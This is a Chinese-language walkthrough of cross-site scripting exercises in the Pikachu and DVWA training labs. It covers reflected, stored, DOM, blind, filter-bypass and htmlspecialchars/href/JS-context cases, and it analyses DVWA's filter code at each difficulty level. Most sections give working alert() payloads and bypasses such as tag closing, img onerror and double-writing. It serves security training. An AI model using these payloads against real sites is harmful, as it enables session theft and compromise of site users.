something about Pikachu - Cross-Site Scripting

pikachu

pikachu => 备份地址

Cross-Site Scripting

概述

XSS(跨站脚本攻击)一般常见如下几种类型:

  • 反射型(Reflected)
  • 存储型(Stored)
  • DOM型(DOM)

常见防范手段:

  • 输入过滤

    对输入内容进行过滤,不允许可能导致XSS攻击的字符输入。

  • 输出过滤

    根据输出点的位置对输出到前端的内容进行适当转义。

反射型xxs(get)

在输入框中直接输入对应脚本语句即可。
输入框有长度限制,或者审查元素中修改长度限制,或者直接构造URL

1
http://train.com/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('bad');</script>&submit=submit

反射型xxs(post)

反射型xxs(get)类似。

存储型xss

留言板功能,用户输入未做过滤,直接存储在DB中,取出渲染时也未做处理。 直接存入脚本语句即可。

DOM型XSS

在输入框中输入的内容会被拼接成超链接的href属性,因此构造闭合标签。

1
'></a> <img src="nothing" onerror="alert('bad');" /> <a href='

DOM型XSS-x

在输入框中输入的内容会被拼接成超链接的href属性,但是必须要先点击先出现的超链接,触发domxss()方法,
才会拼接生成对应超链接。

构造闭合标签与DOM型XSS相同。

XSS之盲打

盲打就是注入脚本后,没有即时反馈。
因此需要尽可能多的提交XSS语句,查看哪些语句被执行了。

此次盲打是存储型XSS,是输入意见名字,因此对应注入:

意见

1
<script>alert('msg');</script>

名字

1
<script>alert('name');</script>

登录显示页面查看: 全部注入成功。

1
http://train.com/pikachu/vul/xss/xssblind/admin.php

XSS之过滤

<script>标签被过滤了,使用<img/>标签注入。 只是简单的直接匹配,大小写转换后尝试,<SCRIPT>也可以。

1
<img src="nothing" onerror="alert('bad');" />

XSS之htmlspecialchars

php的htmlspecialchars()函数将字符转换为html实体,如<转换为&lt;

利用<a>标签的onclick事件,不使用特殊符号,只使用'(单引号)。

1
' onclick='alert(/bad/);'

XSS之href输出

html<a>标签的href属性可以指定script

1
<a href="javascript:alert('bad')"> 阁下自己输入的url还请自己点一下吧</a>

XSS之js输出

内容提交后,拼接到script中,由javascript根据内容判断渲染什么内容。
因此可以构造闭合<script>标签。

1
';</script><script>alert("bad");</script>

something about DVWA - XSS(Stored)

DVWA

DVWA => 备份地址

XSS(Stored)

XSS是跨站脚本攻击Cross-site scriptingStored类型是 存储型XSS攻击,此类型的XSS保存在目标服务器上,用户每次访问都会被攻击。

Low

  • 手动测试

    直接在内容中输入恶意内容后提交。

    1
    <script>alert("bad");</script>
  • 源码分析

    • 将参数内容存储到DB中

    使用stripslashes()mysqli_real_escape_string()函数,转义特殊字符。

    1
    2
    // Update database
    $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

Medium

  • 手动测试

    name进行注入。采用双写绕过过滤。

    注入内容:

    1
    <script<script>>alert('bad');</script>
  • 源码分析

    • message内容去除html标签

      使用strip_tags()去除html标签。

      1
      2
      // Sanitize message input
      $message = strip_tags( addslashes( $message ) );
    • name过滤<script>标签

      1
      2
      // Sanitize name input
      $name = str_replace( '<script>', '', $name );

High

  • 手动测试

    • 采用<img/>标签

    name注入<img onerror=""/>

    1
    <img src="1" onerror="alert('bad');" />
  • 源码分析

    • 使用正则的方式过滤<script>标签
    1
    2
    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

Impossible

  • 源码分析

    • 去除参数中的\

      使用stripslashes()去除字符串中的\字符。

    • 转义特殊字符

      使用mysqli_real_escape_string()函数转义特殊字符。

    • 预编译SQL执行

      使用PDO的方式执行SQL。